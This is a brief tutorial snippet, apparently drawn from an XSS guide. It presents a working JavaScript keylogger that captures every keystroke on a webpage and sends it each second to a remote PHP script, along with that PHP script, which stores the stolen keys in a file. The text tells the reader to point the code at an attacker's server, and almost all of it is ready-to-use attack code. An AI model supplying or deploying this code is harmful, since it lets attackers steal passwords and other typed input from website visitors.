Javascript Keylogger The following code is a javascript Keylogger, it's hook each keystrokes on a webpage and send them to a remote php script every seconds. Replace localhost with attacker server dns and path. keylogger.js var keys=''; document.onkeypress = function(e) { get = window.event?event:e; key = get.keyCode?get.keyCode:get.charCode; key = String.fromCharCode(key); keys+=key; } window.setInterval(function(){ new Image().src = 'http://localhost/demo/webA/keylogger.php?c='+keys; keys = ''; }, 1000); PHP Grabber The following code will receives and saves all data sent by the keylogger. keylogger.php <?php if(!empty($_GET['c'])) { $logfile = fopen('data.txt', 'a+'); fwrite($logfile, $_GET['c']); fclose($logfile); } ?> Source: Tutorial - XSS Keylogger